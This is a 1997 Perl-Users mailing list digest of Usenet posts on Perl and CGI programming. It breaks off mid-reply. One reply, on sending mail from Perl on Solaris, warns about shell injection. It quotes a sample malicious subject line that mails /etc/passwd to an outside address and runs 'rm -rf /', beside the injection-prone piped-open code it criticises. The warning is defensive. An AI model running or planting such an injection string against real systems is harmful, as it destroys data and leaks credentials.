[7449] in Perl-Users-Digest
Perl-Users Digest, Issue: 1074 Volume: 8
daemon@ATHENA.MIT.EDU (Perl-Users Digest)
Wed Sep 24 20:08:07 1997
Date: Wed, 24 Sep 97 17:00:34 -0700
From: Perl-Users Digest <Perl-Users-Request@ruby.OCE.ORST.EDU>
To: Perl-Users@ruby.OCE.ORST.EDU (Perl-Users Digest)
Perl-Users Digest Wed, 24 Sep 1997 Volume: 8 Number: 1074
Today's topics:
Re: cgi data (brian d foy)
Re: CGI/Perl: Appending Two Associative Arrays <rootbeer@teleport.com>
Re: Ctrl-D can not works in Perl5 for Win95 <rootbeer@teleport.com>
Display images on specific dates? (Thomas Parker)
Re: DOS version of PERL 5? <e_bachmann@geocities.com>
Error doesn't appear when run in debug mode? (David Alan Pisoni)
Re: expect lib for perl? (Charles DeRykus)
Re: Foolish Question About Saving Gifs (Dick Barker)
Help - Countdown Script Hack. (Thomas Parker)
Re: Help! (Tad McClellan)
how to write HTML form data to a text file??? <scott@netobjects.com>
Re: Ignoring text in tags with ~s (Tad McClellan)
Re: Learning Perl (chap 2 q 4); I'm confused (Tad McClellan)
Re: Learning Perl (chap 2 q 4); I'm confused (brian d foy)
Re: Learning Perl (chap 2 q 4); I'm confused <bholzman@mail.earthlink.net>
Re: Need bulk Unix <-> PC file conversion <fearless@io.com>
Need Help With Redirect Script <eneuman@halcyon.com>
Re: Perl Generator? <rootbeer@teleport.com>
Re: perl mail on solaris <merlyn@stonehenge.com>
Re: Perl on the end of a named pipe? <bholzman@mail.earthlink.net>
Perl Poetry paper - where? (Matthew Cravit)
Re: perl under win95 problem <rpsavage@ozemail.com.au>
read only and flock (Faust Gertz)
Reading files (newb) (Tom MacMillan)
Re: setsockopt (solving 'address already in use' error) (Brandon S. Allbery KF8NH; to reply, change "void" to "kf8nh")
Re: Simulating POST method w/ PERL. <byron@teleport.com>
Re: Text::English (Gene Hsu)
Re: What does the . operator do? (Greg Zevin)
Digest Administrivia (Last modified: 8 Mar 97) (Perl-Users-Digest Admin)
----------------------------------------------------------------------
Date: Wed, 24 Sep 1997 17:38:22 -0400
From: comdog@computerdog.com (brian d foy)
Subject: Re: cgi data
Message-Id: <comdog-ya02408000R2409971738220001@news.panix.com>
In article <60bmsv$ifc@news.microsoft.com>, "Creede Lambard" <fearless@io.com> wrote:
>Try this ($id is the ID number you're checking for):
>
>open (DATA,"data.txt");
>read (DATA,$s,(-s DATA));
>close DATA;
>
>if ($id =~ /$s/) { . . . code to execute if ID matches . . . }
>
>$s contains your entire data file, newlines and all, so if your ID is
>1234567890, you won't get a match on the off chance you have ID numbers like
>this:
surely you didn't mean to put the *entire* file into the regex (especially
without quoting metacharacters!) remember that whatever you have bound
to that pattern must match the entire pattern (i.e. if the bound
thingy, $id in this case, is not long enough to match a minimal pattern,
then the match will fail. you have the big thingy in the regex and
the little thingy trying to match it. it is bound to fail. )
--
brian d foy <comdog@computerdog.com>
NY.pm - New York Perl M((o|u)ngers|aniacs)* <URL:http://ny.pm.org/>
CGI Meta FAQ <URL:http://computerdog.com/CGI_MetaFAQ.html>
------------------------------
Date: Wed, 24 Sep 1997 15:32:54 -0700
From: Tom Phoenix <rootbeer@teleport.com>
To: Darren Hayes <darrenh@efn.org>
Subject: Re: CGI/Perl: Appending Two Associative Arrays
Message-Id: <Pine.GSO.3.96.970924152912.22102E-100000@usertest.teleport.com>
On Wed, 24 Sep 1997, Darren Hayes wrote:
> I am using Brenner's cgi-lib.pl Perl library
You should really use CGI.pm instead.
> Is there an easy way to "append" the data from the associative array
> returned from the second forms &ReadParse CGI call to the data sitting
> in the associative array returned from the &ReadParse CGI for the first
> form?
If you have two hashes, you can merge them this way.
%merged = (%first, %second);
If a key exists in both, the one in %second will win. If you want to merge
one hash into another, this method will work.
@big{keys %little} = values %little;
They both end up in %big, with values from %little overriding the others.
> Can I easily "append" the data sitting in %form_data2 to
> the end of %form_data1 and keep the keys/values in order.
There's no built-in order to a hash.
> Would the following do the job?
> %form_data2.=%form_data1
No, since the . (concatenation) operator works for strings, not for
hashes or lists.
Hope this helps!
--
Tom Phoenix http://www.teleport.com/~rootbeer/
rootbeer@teleport.com PGP Skribu al mi per Esperanto!
Randal Schwartz Case: http://www.rahul.net/jeffrey/ovs/
Ask me about Perl trainings!
------------------------------
Date: Wed, 24 Sep 1997 16:09:52 -0700
From: Tom Phoenix <rootbeer@teleport.com>
To: Herman <herman-law@usa.net>
Subject: Re: Ctrl-D can not works in Perl5 for Win95
Message-Id: <Pine.GSO.3.96.970924160930.22102J-100000@usertest.teleport.com>
On 24 Sep 1997, Herman wrote:
> Subject: Ctrl-D can not works in Perl5 for Win95
DOS/Windows machines use Ctrl-Z to denote end of file. Hope this helps!
--
Tom Phoenix http://www.teleport.com/~rootbeer/
rootbeer@teleport.com PGP Skribu al mi per Esperanto!
Randal Schwartz Case: http://www.rahul.net/jeffrey/ovs/
Ask me about Perl trainings!
------------------------------
Date: Wed, 24 Sep 1997 22:05:51 GMT
From: muse@datasync.com (Thomas Parker)
Subject: Display images on specific dates?
Message-Id: <342a8ce3.25785327@news.datasync.com>
I am attempting to hack a random banner script (SSI Random Image
Displayer by Matt Wright) so that it will display a specific image
based on MM/DD/YYYY. I want to be able to automate the process of
displaying a different holiday banner for each holiday.
Is there some way that I could edit the following code so that instead
of random numbers it reads the month, day, and year and displays any
banner that is associated with it?
-----------------------
srand(time ^ $$);
$num = rand(@images); # Pick a Random Number
-----------------------
I'm obviously a newbie... I've edited the way certain scripts output
HTML... but, this is over my head. I'm learning more every day, tho!
Thanks for any and all help! Please email response if convenient.
Regards,
Thomas Parker
muse@datasync.com
http://www.datasync.com/muse/
------------------------------
Date: Wed, 24 Sep 1997 16:19:13 +0200
From: Erik Bachmann <e_bachmann@geocities.com>
To: Bart Lateur <bart.mediamind@tornado.be>
Subject: Re: DOS version of PERL 5?
Message-Id: <34292161.62411A2E@geocities.com>
This is a multi-part message in MIME format.
--------------3229FA3D185A3E3EE1EDE9D0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Bart Lateur wrote:
>
> Rachel Holmes <rachelh@nortel.ca> wrote:
>
> >Is there a version of perl available for DOS, that is 100% compatible
> >with unix perl 5?
>
> Grab the OS/2 port. YOu need EMX and/or RSX too, but these are free too.
>
Got it!
But there seem to be problems using the long filenames from the OS/2.
I've followed the instruction for installing (including patches with
EMX/RSX) and set up an environment:
set perllib_prefix=f:/perllib c:/program/dos/perl
But when I try to access library function perl aborts.
On installing the Xbase lib by PP using makefile.pl
---8<--- CUT --->8---
use ExtUtils::MakeMake;
# See lib/ExtUtils/MakeMaker.pm for details of how to influence
# the contents of the Makefile that is written.
WriteMakefile(
'NAME' => 'Xbase',
'DISTNAME' => 'Xbase',
'VERSION' => '1.07',
'PM' => {'Xbase.pm' => '$(INST_LIBDIR)/Xbase.pm'},
'linkext' => { LINKTYPE=>'' },
'dist' => {'COMPRESS'=>'gzip', 'SUFFIX' => 'gz'}
);
print "\n";
print "Do a 'make install' to install the module.\n";
print "Enjoy !\n";
print "REMEMBER the name has changed from xbase.pm to Xbase.pm\n";
print "-pratap\n";
---8<--- CUT --->8---
perl returns:
---8<--- CUT --->8---
C:\program\dos\perl>perl makefile.pl
Can't locate ExtUtils/MakeMaker.pm in @INC (@INC contains:
c:/program/dos/perl c
:/program/dos/perl/lib/os2/5.00401 c:/program/dos/perl
c:/program/dos/perl/lib c
:/program/dos/perl c:/program/dos/perl/lib/site_perl/os2
c:/program/dos/perl c:/
program/dos/perl/lib/site_perl .) at makefile.pl line 1.
BEGIN failed--compilation aborted at makefile.pl line 1.
---8<--- CUT --->8---
Any suggestions ???
Regards
Erik Bachmann
---------------------------------------------------------------------
Erik Bachmann, Grydehoejvej 62, DK-4000 Roskilde, Denmark, Europe
\\\\\///// _ ______
_\ __ __ /_ _| |_ (_)::(_)Voice.:
| ||_*||*_|| | | | | |_ |____| (+45) 46789899
|_/ _/\_ \_| | | | | | ____
/ |____| \ _ | | | | | | #| E-mail:
/' /||\ '\ | \_| | | | | |____| e_bachmann@geocites.com
//\____/\\ \ \ | ______
///||||\\\ \_ | /_Home_\ Clickety [CLICK] Software
Hello world! \______/ |____|
http://www.geocities.com/SiliconValley/Pines/2563
---------------------------------------------------------------------
--------------3229FA3D185A3E3EE1EDE9D0
Content-Type: text/x-vcard; charset=us-ascii; name="vcard.vcf"
Content-Transfer-Encoding: 7bit
Content-Description: Card for Bachmann, Erik
Content-Disposition: attachment; filename="vcard.vcf"
begin: vcard
fn: Bachmann, Erik
n: Bachmann;Erik
org: Clickety Click Software
adr: Grydehxjvej 62;;;;;DK-4000 Roskilde;Denmark
email;internet: e_bachmann@geocities.com
tel;work: (+45) 46 78 98 99
note: <IMG SRC = " http://www.geocities.com/SiliconValley/Pines/2563/bac-100.jpg">
x-mozilla-cpt: ;0
x-mozilla-html: FALSE
end: vcard
--------------3229FA3D185A3E3EE1EDE9D0--
------------------------------
Date: Wed, 24 Sep 1997 16:54:18 -0700
From: david@cnation.com (David Alan Pisoni)
Subject: Error doesn't appear when run in debug mode?
Message-Id: <david-2409971654180001@prokofiev.cnation.com>
Keywords: perl 5.003 debug
Hello,
I have noticed some peculiar behaviours in the past, and have just run
into it again, so I decided to ask here if anyone could shed some light on
this.
I am using perl 5.003.
I have had situations where perl programs would give a fatal runtime error
(caused by some outside library failure, sending a SIGSEGV or the like)
each time they were run with certain parameters. But when I attempt to
run the program again with the same parameters, but with the '-d' command
line switch (walking through the code), the program would run normally. I
guess I don't understand exactly what is happening differently with the
'-d' option which would avoid a race condition like this.
Curiously, the last time I ran into this problem (too long ago to remember
what project I was working on), while trying to debug the problem, I put
in a signal handler for SEGV which simply printed some debugging
information then quit. Much to my surprise, the handler was never called
-- just by having the handler there, the race condition was somehow
avoided, and the SIGSEGV was never sent!
Fast forward to the present : (using 5.003 on a SVR4 / UnixWare 2.1.2
system) now I am getting a library error which is sending a SIGABRT.
Putting the signal handler for ABRT in DOES trap the problem (i.e., the
ABRT still occurs.) But when running with the '-d' switch, the program
behaves correctly.
Now I have isolated the problem to my build of libdb.a (someone emailed me
porting instructions, but I hadn't had the time to do it yet.) This may
explain why the problem occurs, but I don't understand why '-d' avoids the
problem, whereas a normal execution does not.
Thanks for your insight,
David Pisoni -- <david@cnation.com>
CyberNation -- <http://www.cnation.com/>
310/656-3450 -- 310/656-3453 (fax)
"Virtue is more to be feared than vice, because its excesses
are not subject to the regulation of conscience."
-- Adam Smith
------------------------------
Date: Wed, 24 Sep 1997 21:16:34 GMT
From: ced@bcstec.ca.boeing.com (Charles DeRykus)
Subject: Re: expect lib for perl?
Message-Id: <EH173M.1IM@bcstec.ca.boeing.com>
In article <Pine.GSO.3.95a.970924175050.8530l-100000@asis-w3>,
German Cancio Melia <gcancio@mail.cern.ch> wrote:
>
>
>does anybody know if there's a 'expect' equivalent or similar lib for
>perl?
>
>
Look for module "Comm.pl" in CPAN although I'm not sure whether
all the power of expect is there.
HTH,
--
Charles DeRykus
------------------------------
Date: Wed, 24 Sep 1997 13:57:51 -0800
From: dickb@eskimo.com (Dick Barker)
Subject: Re: Foolish Question About Saving Gifs
Message-Id: <199709241213051729630N@dickb.ndip.eskimo.net>
Jonathan Feinberg <jdf@pobox.com> wrote:
> annerose@geocities.com said...
> > So far, everything I've tried has resulted in a screenful of misc.
> > characters accompanied by endless repetitions of the alert
> > sound on my Mac.
>
-snip-
>
> Are you saving the GIF info to a file, or are you simply printing
> it to STDOUT? If you're saving it to a file, have you used the
> binmode builtin to make sure that you're creating a binary file?
NO! NO! There is no binmode on a Mac. *nix and Macs treat all files
the same way. The wintel world is the only place where the binmode
crutch is needed.
It is however very hard to answer the question without example code.
--
Do you qualify to join OFDA? http://www.eskimo.com/~dickb/ofda.html
San Juan Isl Dive Charter? http://www.eskimo.com/~dickb/starfire.html
------------------------------
Date: Wed, 24 Sep 1997 21:56:47 GMT
From: muse@datasync.com (Thomas Parker)
Subject: Help - Countdown Script Hack.
Message-Id: <34298b12.25319350@news.datasync.com>
Found the following script and have been trying to figure out how to
make it count more than one year. Right now it only counts 365 days
regardless of the year... unless I am missing something. I basically
want to be able to count down to a date that occurs on Feb 10 1999.
Can this function in that capacity? Can anyone help?
Original Script by Matt Kruse (mkruse@saunix.sau.edu)
Please reply via e-mail if it is convenient.
Regards,
Thomas Parker
muse@datasync.com
http://www.datasync.com/muse/
#!/usr/local/bin/perl
#
# COUNTDOWN.CGI
# by Matt Kruse (mkruse@saunix.sau.edu)
# 7/26/95
#
# This script will give you a "countdown" of the days until a
# certain date. This can be used for things like saying "The new
# software will be available in XX days" or "This product will arive
# in stores in XX days". It will automatically stay up-to-date when
# used in a server-side-include. It does not account for leap-years
# because I didn't think that would be worth my time. If you *really*
# need to account for Feb 29th, set your goal date one day later.
# This does wrap days, so if it is Dec now and the goal is in
# Jan, it will count correctly.
#
# This is a free script, but I would appreciate some e-mail if
# you use it (it's an ego thing, I think :) Delete all these comments
# to make the script smaller and easier to read.
#
# SET YOUR DATE HERE
# ==================
# Month must be 3 letters, and the first in caps. Space between month
# and day is required.
$GOAL="Feb 10";
# ==================
%month= ( 'Jan',0,'Feb',31,'Mar',59,'Apr',90,'May',120,'Jun',151,
'Jul',181,'Aug',212,'Sep',243,'Oct',273,'Nov',304,'Dec',334 );
($sec,$min,$hour,$mday,$mon,$year,$wday,$CURRENT,$isdst)=localtime(time);
$CURRENT++;
($gmonth,$gday)=split(' ',$GOAL);
$GOAL = $month{$gmonth} + $gday;
if ($CURRENT > $GOAL) { $TOTAL=($GOAL+(364-$CURRENT)); }
else { $TOTAL= $GOAL-$CURRENT; }
print "Content-type: text/html\n\n$TOTAL";
------------------------------
Date: Wed, 24 Sep 1997 18:20:06 -0500
From: tadmc@flash.net (Tad McClellan)
Subject: Re: Help!
Message-Id: <677c06.0l3.ln@localhost>
Christopher Pieper (cmpiep@maila.wm.edu) wrote:
: I am a beginner when it comes to the perl language and well I have already
: been asked to write my first program to help out a professor. Anyway he
: wants me to write a script that will convert a whole group of files located
: within a large and complex directory tree from text files to html.
: Basically he has a ton of files spread out over several directories and he
: wants be to put the appropriate html tags in front and at the end of these
: documents and then rename the final file to include the html extension. Now
: I know how to change the file but it is the process of going through all
: the files in a directory and then switching directories that has me
: baffled. I know that I could find it in my newly acquired text "Programming
: Perl" by Orielly, however I just can't seem to find it amongst the other
: stuff.
: Please help a blind man out! (That is just figurative by the way!)
Open that Camel, and find these:
opendir()
grep()
readdir()
closedir()
chdir()
The File::Find module would likely help also.
Good luck.
--
Tad McClellan SGML Consulting
tadmc@flash.net Perl programming
Fort Worth, Texas
------------------------------
Date: Wed, 24 Sep 1997 16:39:55 -0700
From: Scott Kahn <scott@netobjects.com>
Subject: how to write HTML form data to a text file???
Message-Id: <3429A4CB.57B30663@netobjects.com>
There are a billion Perl scripts on the Web that capture the contents of
an HTML form and E-mail them to someone, but what I want to do is to
take the form contents and append them to a text file sitting on my
server (I'll later import the data into a database).
I'm running on Solaris with Perl 5. Anyone know of a script that does
what I need?
Thanks,
Scott
------------------------------
Date: Wed, 24 Sep 1997 14:59:23 -0500
From: tadmc@flash.net (Tad McClellan)
Subject: Re: Ignoring text in tags with ~s
Message-Id: <rerb06.7s2.ln@localhost>
minibbjd@cs.tu-berlin.de wrote:
: $mline =~ s#$QS_query#<FONT COLOR="red">$&</FONT>#go;
^^
^^
This will slow down your entire script. Better to wrap the pattern
in parens and use $1 instead...
: This works fine, but unfortunetly this is always done, even
: when the search term is inside a tag, e.g.
: search term: "microsoft"
: mline: "<A HREF="http://www.microsoft.com/">Microsoft</A>"
: output:
: "<A HREF="http://www.<FONT COLOR="red">microsoft</FONT>.com/">
: <FONT COLOR="red">Microsoft</FONT></A>"
You are not getting that output from that pattern match.
Those two terms differ by case, but your regex does not have the
'ignore case' modifier...
: But I want:
: "<A HREF="http://www.microsoft.com/">
: <FONT COLOR="red">Microsoft</FONT></A>"
: Is there a simple way (regular expresions?) to color only
: search terms that are outside tags?
This seems to do it:
-------------------------------
#!/usr/bin/perl -w
$mline = '<A HREF="http://www.microsoft.com/">Microsoft</A>';
$QS_query = 'microsoft';
$mline =~ s#(<[^>]*>)|($QS_query)#
(defined $2) ? qq(<FONT COLOR="red">$2</FONT>) : $1;
#goie;
print "$mline\n";
-------------------------------
It basically matches either a tag, or your query string.
If the query string, replaces with the <font> stuff.
If a tag, replaces with the tag ;-)
--
Tad McClellan SGML Consulting
tadmc@flash.net Perl programming
Fort Worth, Texas
------------------------------
Date: Wed, 24 Sep 1997 15:12:51 -0500
From: tadmc@flash.net (Tad McClellan)
Subject: Re: Learning Perl (chap 2 q 4); I'm confused
Message-Id: <38sb06.i03.ln@localhost>
Dana Anthony (daanth@unx.sas.com) wrote:
: Why does this work:
: print "Type a number: ";
: $number = <STDIN>;
: print "Type a phrase: ";
: $phrase = <STDIN>;
: $C = ($phrase x $number);
: print $C;
: and this doesn't:
: print "Type a number: ";
: $number = <STDIN>;
: print "Type a phrase: ";
: $phrase = <STDIN>;
: print ($phrase x $number);
: but returns this error:
: Can't call method "x" without a package or object
: reference at list1.perl line 6, <STDIN> chunk 2.
Try this instead:
print +($phrase x $number);
This is explained at the top of the perlfunc man page.
--
Tad McClellan SGML Consulting
tadmc@flash.net Perl programming
Fort Worth, Texas
------------------------------
Date: Wed, 24 Sep 1997 17:29:44 -0400
From: comdog@computerdog.com (brian d foy)
Subject: Re: Learning Perl (chap 2 q 4); I'm confused
Message-Id: <comdog-ya02408000R2409971729440001@news.panix.com>
In article <34295754.2EAB@umbc.edu>, jdavie2@umbc.edu wrote:
>Dana Anthony wrote:
>>
>> Why does this work:
>>
>> print "Type a number: ";
>> $number = <STDIN>;
>> print "Type a phrase: ";
>> $phrase = <STDIN>;
>> $C = ($phrase x $number);
>> print $C;
> The problem with the second is one of you confusing perl with the
>context. There is an x operator that can be used to make something
>repeat. This is what is happening in your second case. The context of
>the first case is clear such that perl will interpret it as the
>multiplication operator. At least that's my guess:>
no sense in guessing. the multiplication operator is *, while the 'x'
is simply referred to as the "x operator". perhaps you meant
something different when you said "multiplication"? :)
--
brian d foy <comdog@computerdog.com>
NY.pm - New York Perl M((o|u)ngers|aniacs)* <URL:http://ny.pm.org/>
CGI Meta FAQ <URL:http://computerdog.com/CGI_MetaFAQ.html>
------------------------------
Date: Wed, 24 Sep 1997 18:15:09 -0400
From: Benjamin Holzman <bholzman@mail.earthlink.net>
To: jdavie2@umbc.edu
Subject: Re: Learning Perl (chap 2 q 4); I'm confused
Message-Id: <342990ED.B876FD6E@mail.earthlink.net>
[posted & mailed]
Jim Davies wrote:
>
> Dana,
>
> The problem with the second is one of you confusing perl with the
> context. There is an x operator that can be used to make something
> repeat. This is what is happening in your second case. The context of
> the first case is clear such that perl will interpret it as the
> multiplication operator. At least that's my guess:>
>
> Jim
> Dana Anthony wrote:
> >
> > Why does this work:
> >
> > print "Type a number: ";
> > $number = <STDIN>;
> > print "Type a phrase: ";
> > $phrase = <STDIN>;
> > $C = ($phrase x $number);
> > print $C;
> >
> > and this doesn't:
> >
> > print "Type a number: ";
> > $number = <STDIN>;
> > print "Type a phrase: ";
> > $phrase = <STDIN>;
> > print ($phrase x $number);
> >
> > but returns this error:
> >
> > Can't call method "x" without a package or object
> > reference at list1.perl line 6, <STDIN> chunk 2.
> > --
If you look more closely at the definition of the print funtion in
perlfunc, you'll see that the first parameter it expects is a filehandle
(eg STDOUT, STDERR, etc.), which defaults to the selected filehandle if
it isn't provided. In the case of the second code fragment, you're
unwittingly providing an (invalid) filehandle: $phrase. Then the 'x
$number' is being interpreted as an indirect method call, but $number
isn't an object (duh), so that's the error message you're getting. You
could fix this a few ways:
print $phrase x $number; # The parenthesis are what's
# forcing print to see your
# expression as a parameter
# list, so take 'em out!
print STDOUT ($phrase x $number); # if you like the parens...
Hope this helps!
Benjamin Holzman
------------------------------
Date: Wed, 24 Sep 1997 15:08:34 -0700
From: "Creede Lambard" <fearless@io.com>
Subject: Re: Need bulk Unix <-> PC file conversion
Message-Id: <60c3bt$cu4@news.microsoft.com>
Try this:
open(DOSFILE,"<dosfile");
open(UNIXFILE,">unixfile");
read(DOSFILE,$s,(-s DOSFILE));
$s =~ s/\CM//g;
print UNIXFILE $s;
close UNIXFILE;
close DOSFILE;
> Ron Savage (rpsavage@ozemail.com.au) wrote:
>
> [How do I convert DOS CR-LF to UNIX LF?]
>
------------------------------
Date: Wed, 24 Sep 1997 15:30:39 -0700
From: Eric Neuman <eneuman@halcyon.com>
Subject: Need Help With Redirect Script
Message-Id: <3429948F.332FF93F@halcyon.com>
Folks,
I have a dropdown form combobox that lists a variety of websites, and
I'd like to be able to have a user select a site, hit the "Go" button,
and be redirected to that site. I've been looking all over for a simple
PERL script to do this, but haven't been able to find anything yet.
Does anyone out here know how to do this, or know of any good examples?
Thanks!
--
Eric Neuman
Associate Editor
Entermedia
http://www.entermedia.net
------------------------------
Date: Wed, 24 Sep 1997 15:37:03 -0700
From: Tom Phoenix <rootbeer@teleport.com>
To: jack <jss@mailzone.com>
Subject: Re: Perl Generator?
Message-Id: <Pine.GSO.3.96.970924153323.22102F-100000@usertest.teleport.com>
On Wed, 24 Sep 1997, jack wrote:
> Newsgroups: comp.lang.perl, comp.lang.perl.misc
If your news administrator still carries comp.lang.perl, please let him
or her know that that newsgroup has not existed since 1995. If you
have such an outdated newsgroup listing, you are probably missing out
on many other valid newsgroups as well. You'll be doing yourself and
many others a favor to use only comp.lang.perl.misc (and other valid
Perl newsgroups) instead.
> I was wondering if anyone knows of a Perl generator where you either
> use common, pre-written commands (drop & drag) or write simple
> statements that are expanded into Perl modules?
It would be hard to make something which could make writing Perl any
easier than writing Perl. :-) Really, there's nothing like this that I've
ever seen. But you could always look for a way that something is done in
somebody else's script and emulate that. Hope this helps!
--
Tom Phoenix http://www.teleport.com/~rootbeer/
rootbeer@teleport.com PGP Skribu al mi per Esperanto!
Randal Schwartz Case: http://www.rahul.net/jeffrey/ovs/
Ask me about Perl trainings!
------------------------------
Date: 24 Sep 1997 15:54:43 -0700
From: Randal Schwartz <merlyn@stonehenge.com>
To: gbacon@adtran.com (Greg Bacon)
Subject: Re: perl mail on solaris
Message-Id: <8clo0mcogc.fsf@gadget.cscaper.com>
>>>>> "Greg" == Greg Bacon <gbacon@adtran.com> writes:
Greg> [Posted and mailed]
Greg> In article <memo.19970924062231.21497A@skep.compulink.co.uk.cix.co.uk>,
Greg> neilb@zetnet.co.uk (Neil Briscoe) writes:
Greg> : The quick solution to this is to use
Greg> : open (DOMAIL, "| mail -s \"${MailSubject}\" $Mailto");
Greg> That breaks when the shell peers through its beady little eyes, sees
Greg> a shiny trinket like a $, and goes to grab it. Better to use single
Greg> quotes:
Greg> open DOMAIL, "| mail -s '${MailSubject}' $Mailto"
Greg> or die "$0: Failed fork: $!\n";
Greg> because it works with single- or multi-word subjects.
DANGER WILL ROBINSON!!!
DANGER WILL ROBINSON!!!
SECURITY ALERT!!
ALL HANDS TO BATTLESTATIONS!!
That breaks when the shell peers through its beady little eyes, sees a
shiny trinket like a ', and gets completely lost. Better to avoid
quotes entirely, and read the FAQ item "How can I call backticks
without shell processing", and reverse the logic so that you are
feeding rather than being fed by the child code.
If you don't do that, someone is going to come along some day
and request a subject of:
'</etc/passwd evilguy@foo.bar.com;rm -rf /;:'
and there goes your nice web server data, along with the password file
being sent off to that evilguy. The quotes are part of the subject
here. Paste it in above in place of ${MailSubject} and see what it
does.
Please don't play around with security. Leave it to the pro's.
print "Just another Perl hacker," # but not what the media calls "hacker!" :-)
## legal fund: $20,990.69 collected, $186,159.85 spent; just 341 more days
## before I go to *prison* for 90 days; email fund@stonehenge.com for details
--
Name: Randal L. Schwartz / Stonehenge Consulting Services (503)777-0095
Keywords: Perl training, UNIX[tm] consulting, video production, skiing, flying
Email: <merlyn@stonehenge.com> Snail: (Call) PGP-Key: (finger merlyn@ora.com)
Web: <A HREF="http://www.stonehenge.com/merlyn/">My Home Page!</A>
Quote: "I'm telling you, if I could have five lines in my .sig, I would!" -- me
------------------------------
Date: Wed, 24 Sep 1997 18:29:28 -0400
From: Benjamin Holzman <bholzman@mail.earthlink.net>
To: Andrew Pollock <apollock@bit.net.au>
Subject: Re: Perl on the end of a named pipe?
Message-Id: <34299448.503767F5@mail.earthlink.net>
[posted & mailed]
Andrew Pollock wrote:
>
> This might be a bit of a dumb question, probably more a poorly worded one...
>
> Is it possible to run Perl on the end of a named pipe, so that the
> interpreter is always running, rather than firing it up all the time?
>
> The reason I ask is because I've got a Linux box which runs countless Perl
> scripts, many from cron, and it's starting to feel it when it goes to load
> such a large binary at the drop of a hat.
>
> Just a thought....
>
> Andrew
I would imagine that, unless your scripts are use'ing large external
libraries, the slow-down you're seeing is in 'compiling' your scripts,
not in loading perl. Perhaps you should investigate Malcolm Beattie's
perl compiler, so you don't waste CPU time recompiling the same scripts
over and over again. Alternatively, you could rewrite your scripts to
become daemons, rather than having cron fire them off. That way they'll
only get compiled once. If you use lots of modules, especially large
modules with lots of AUTOLOADing, expect significant difficulties
getting them to compile in the perl compiler. (This is from anectodal
information, not personal experience).
Hope this helps!
Benjamin Holzman
------------------------------
Date: 24 Sep 1997 15:52:49 -0700
From: mcravit@best.com (Matthew Cravit)
Subject: Perl Poetry paper - where?
Message-Id: <60c5k1$ffh$1@shell3.ba.best.com>
Page 552 of the blue Camel refers to a paper about Perl poetry by Sharon
Hopkins, titled "Camels and Needles: Computer Poetry Meets the Perl
Programming Language". The book indicates that this paper is available on
CPAN as misc/poetry.ps; however, I am unable to find it on any of the CPAN
mirrors I've checked so far. Does anyone know where I might be able to find
a copy of it?
TIA.
/MC
--
Matthew Cravit, N9VWG | Experience is what allows you to
E-mail: mcravit@best.com (home) | recognize a mistake the second
mcravit@taos.com (work) | time you make it.
------------------------------
Date: Thu, 25 Sep 1997 09:21:40 +1100
From: Ron Savage <rpsavage@ozemail.com.au>
Subject: Re: perl under win95 problem
Message-Id: <34299274.19FF@ozemail.com.au>
[snip]
> Everytime i run (perl my.pl) the program will seek my floppy drive first
> before giving me the result.... why and how to solve ?
>
> Many thanks
> Felix
Probably McAfee's virus scanner, actually, not Perl.
--
PO`!1a
------------------------------
Date: Wed, 24 Sep 1997 22:47:02 GMT
From: faust@wwa.com (Faust Gertz)
Subject: read only and flock
Message-Id: <342994c6.5128072@news.wwa.com>
There was an article a while back in which I think Charles DeRykus
<ced@bcstec.ca.boeing.com> said that he believed opening a file read
only will set a shareable attribute and an exclusive lock from a flock
command will be ignored.
Thus, $file in the following code would not be locked.
open (FILE, "<$file") || die "$0 can't open $file: $!";
flock (FILE, 2) || warn "$0 can't flock: $!";
close (FILE) || die "$0 can't close $file: $!";
But if the first line is changed to
open (FILE, "+<$file") || die "$0 can't open $file: $!";
flock would set an exclusive lock. Would anyone care to confirm or
deny this?
TIA
Faust Gertz
Philosopher at Large
------------------------------
Date: Wed, 24 Sep 1997 23:16:39 GMT
From: richmacr@interlog.com (Tom MacMillan)
Subject: Reading files (newb)
Message-Id: <60c6tm$bsu$1@news.interlog.com>
Hi.
Sorry to bother you with this but I'm really confused about reading files... I
know how to open it in Input mode, etc... but what I'd like to do is open a
file, and read each line of the file into a separate variable or element of an
array. If you could help me I'd really appreciate it.
Thanks,
--Tom.
\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/
Tom MacMillan
richmacr@interlog.com
mlg@fs4.ucc.on.ca
macdaddy@smashing-pumpkins.com
http://www.interlog.com/~richmacr/
\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/
------------------------------
Date: Wed, 24 Sep 97 16:10:35 -0400
From: bsa@void.apk.net (Brandon S. Allbery KF8NH; to reply, change "void" to "kf8nh")
Subject: Re: setsockopt (solving 'address already in use' error)
Message-Id: <342974c7$2$ofn$mr2ice@news>
In <608l82$pp8$2@news.rwth-aachen.de>, on 09/23/97 at 02:54 PM,
alex@kawo2.rwth-aachen.de (Trudno zhit' v derevne bez nagana.) said: +-----
| And what is the difference between PF_INET and AF_INET,
| they are all 2 at my Linux-PC. Why was PF_INET introduced?
+--->8
Because in theory, protocols can support multiple address types. In practice,
there aren't any such in *wide* use, although there may be some protocols
defined which do so.
--
brandon s. allbery [Team OS/2][Linux] bsa@void.apk.net
cleveland, ohio mr/2 ice's "rfc guru" :-) FORZA CREW!
Warpstock '97: OS/2 for the rest of us! http://www.warpstock.org
------------------------------
Date: Wed, 24 Sep 1997 14:43:26 -0700
From: Byron Stuart <byron@teleport.com>
Subject: Re: Simulating POST method w/ PERL.
Message-Id: <3429897E.2EEA8767@teleport.com>
Thanks to both of you for replying! The suggestions have helpped a
lot!
Byron
The following is a summary of replys:
Martien Verbruggen wrote:
> In the original distribution of the libwww package, look in the t/net
>
> directory for the file http-post.t for an example.
>
> also look at the included script lwp-request.
>
> furthermore, after installation of LWP:
>
> perldoc lwp
>
> will give you a help page, which includes a POST request example.
Gisle Aas wrote:
> You did not look close enough. lwpcook says:
>
> use HTTP::Request::Common qw(POST);
> use LWP::UserAgent;
> $ua = new LWP::UserAgent;
>
> my $req = POST 'http://www.perl.com/cgi-bin/BugGlimpse',
> [ search => 'www', errors => 0 ];
>
> print $ua->request($req)->as_string;
------------------------------
Date: Wed, 24 Sep 1997 15:12:03 -0700
From: gene@moreinfo.com (Gene Hsu)
Subject: Re: Text::English
Message-Id: <gene-ya02408000R2409971512030001@corp.supernews.com>
In article <60a2d8$g2l$2@comdyn.comdyn.com.au>, mgjv@mali.comdyn.com.au
(Martien Verbruggen) wrote:
